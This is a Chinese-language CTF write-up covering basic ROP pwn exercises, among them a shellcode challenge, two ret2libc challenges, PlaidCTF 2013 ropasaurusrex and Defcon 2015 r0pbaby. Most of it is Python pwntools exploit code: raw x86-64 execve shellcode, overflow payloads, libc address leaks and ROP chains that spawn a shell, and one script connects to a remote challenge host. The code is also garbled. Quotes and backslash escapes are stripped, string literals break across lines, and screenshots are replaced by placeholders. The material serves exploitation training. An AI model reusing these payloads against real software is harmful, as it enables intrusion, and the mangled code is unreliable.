二进制CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)

Posted yichen115

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了二进制CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)相关的知识,希望对你有一定的参考价值。

sniperoj-pwn100-shellcode-x86-64

 

23 字节 shellcode

"x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"

 

首先根据 gdb 确定偏移,然后把因为有个 leave 指令会破坏前面的,所以前面的填充为脏数据,然后加上返回地址占据的 8 位空间,确定在 buf_addr 后面 24+8 填充 shellcode

 

from pwn import *
sh = process(./shellcode)
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
sh.recvuntil([)
buf_addr = sh.recvuntil(], drop=True)
buf_addr = int(buf_addr, 16)
payload = b * 24 + p64(buf_addr + 32) + shellcode_x64
print payload
sh.sendline(payload)
sh.interactive()

 

train.cs.nctu.edu.tw:ret2libc

 

这道题开启了 NX 保护,然而运行的时候会把 puts 的地址跟 /bin/sh 的地址告诉我们,使用 pwntools 可以把地址提取出来,再根据 libcsearcher 查出 system 的地址,这样就可以 getshell 了

 

exp:

from pwn import *
from LibcSearcher import LibcSearcher
p=process(./pwn)
p.recvuntil(is )
bin_addr = int(p.recvuntil(
), 16)
print hex(bin_addr)
p.recvuntil(is )
puts_addr = int(p.recvuntil(
), 16)
print hex(puts_addr)
libc=LibcSearcher(puts,puts_addr)
libc_base=puts_addr-libc.dump(puts)
sys_addr=libc_base+libc.dump(system)
payload2=a*32+p32(sys_addr)+p32(1234)+p32(bin_addr)
p.sendline(payload2)
p.interactive()

 

讲一下 p.recvuntil(‘is ‘) 代表的是 "is" 之前的那一块,当下一个 recvuntil 的时候就会把这那块去掉了

 

把脚本里的第一个 p.recvuntil(‘is ‘) 替换成 

print p.recvuntil(‘of ‘)

print p.recvuntil(‘is ‘)

就可以看出来作用是什么

技术图片

 

ps. 正常会输出这一些("^C" 是 ctrl+c 退出造成的,不包括):

技术图片

 

 

train.cs.nctu.edu.tw:rop

 

没找到题目,从大佬博客里面找到的,题目使用 nc 连上以后会输出这些 gadgets 需要自己去构造 payload

技术图片

 

把 push 的那一些 16 进制转换一下

技术图片

 

大佬说通过这些就可以构造出 payload 了

exp:我连不上。。。

from pwn import *
sh = remote(bamboofox.cs.nctu.edu.tw,10001)
payload = "9,9,1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0"
sh.sendline(payload)
sh.interactive()

 

2013-PlaidCTF-ropasaurusrex

 

没有 system 和 /bin/sh,通过 ret2libc 的方法在 libc 里面找到,这里注意一下第一次泄露的是 got 表的内容,写成了 plt 的,结果废了两个小时没看出来,还以为又出现了什么超出知识水平的操作,,CTF 需要视力!!

 

exp:

from pwn import *
from LibcSearcher import LibcSearcher
p=process(./rop)
elf=ELF(./rop)
write_plt=elf.plt[write]
write_got=elf.got[write]
payload=a*140+p32(write_plt)+p32(0x80483F4)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
libc=LibcSearcher(write,write_addr)
libc_base=write_addr-libc.dump(write)
sys_addr=libc_base+libc.dump(system)
bin_addr=libc_base+libc.dump(str_bin_sh)
payload1=a*140+p32(sys_addr)+p32(1234)+p32(bin_addr)
p.sendline(payload1)
p.interactive()

 

Defcon 2015 Qualifier: R0pbaby

 

checksec 检查一下,发现是 64 位程序,所以参数应该是存储在 rdi 寄存器上

64 位程序当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

通过 ROPgadget --binary /libc/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"

获取到 pop rdi ;ret 的地址:

技术图片

 

通过程序自身提供的功能,可以获取到 libc 的地址与任意函数的地址

技术图片

 

同时第三个功能存在溢出,经过计算溢出的长度为 8 

技术图片

 

写 exp:

from pwn import *
from LibcSearcher import *
p=process(./pwn)
elf=ELF(./pwn)
rdi_offset=0x0000000000021102
p.recvuntil(: )
p.sendline(2)
p.recvuntil(symbol: )
p.sendline(system)
p.recvuntil(: )
sys_addr=p.recvuntil(
,drop=True)
sys_addr=int(sys_addr,16)
libc=LibcSearcher(system,sys_addr)
libc_base=sys_addr-libc.dump(system)
bin_addr=libc_base+libc.dump(str_bin_sh)
rdi_addr=libc_base+rdi_offset
payload=a*8+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
p.recvuntil(: )
p.sendline(3)
p.recvuntil(): )
length=len(payload)
print length
print str(length)
p.sendline(str(length))
p.sendline(payload)
p.interactive()

 

大佬的 exp:

from pwn import *
from LibcSearcher import *
ropbaby = ELF(./pwn)
sh = process(./pwn)
context.word_size = 64
def getfuncaddress(func):
    sh.recvuntil(: )
    sh.sendline(2)
    sh.recvuntil(symbol: )
    sh.sendline(func)
    sh.recvuntil(: )
    addr = sh.recvuntil(
, drop=True)
    return int(addr, 16)
def addropbuff(payload):
    sh.recvuntil(: )
    sh.sendline(3)
    sh.recvuntil(): )
    length = len(payload)
    sh.sendline(str(length))
    sh.sendline(payload)
rdi_ret_offset = 0x0000000000021102
system_addr = getfuncaddress(system)
libc = LibcSearcher(system, system_addr)
libc_base = system_addr - libc.dump(system)
binsh_addr = libc.dump(str_bin_sh) + libc_base
rdi_ret = rdi_ret_offset + libc_base
print hex(system_addr), hex(binsh_addr), hex(rdi_ret)
payload = flat([b * 8, rdi_ret, binsh_addr, system_addr])
addropbuff(payload)
sh.interactive()

 

以上是关于二进制CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)的主要内容,如果未能解决你的问题,请参考以下文章

CTF-PWN练习

攻防世界 pwn 二进制漏洞简单题练习区 答题(1-10题解)

Pwn-10月25-Hitcon

ctf-wiki之ret2libc

Fastbin Attack

PWN格式化字符串2——例子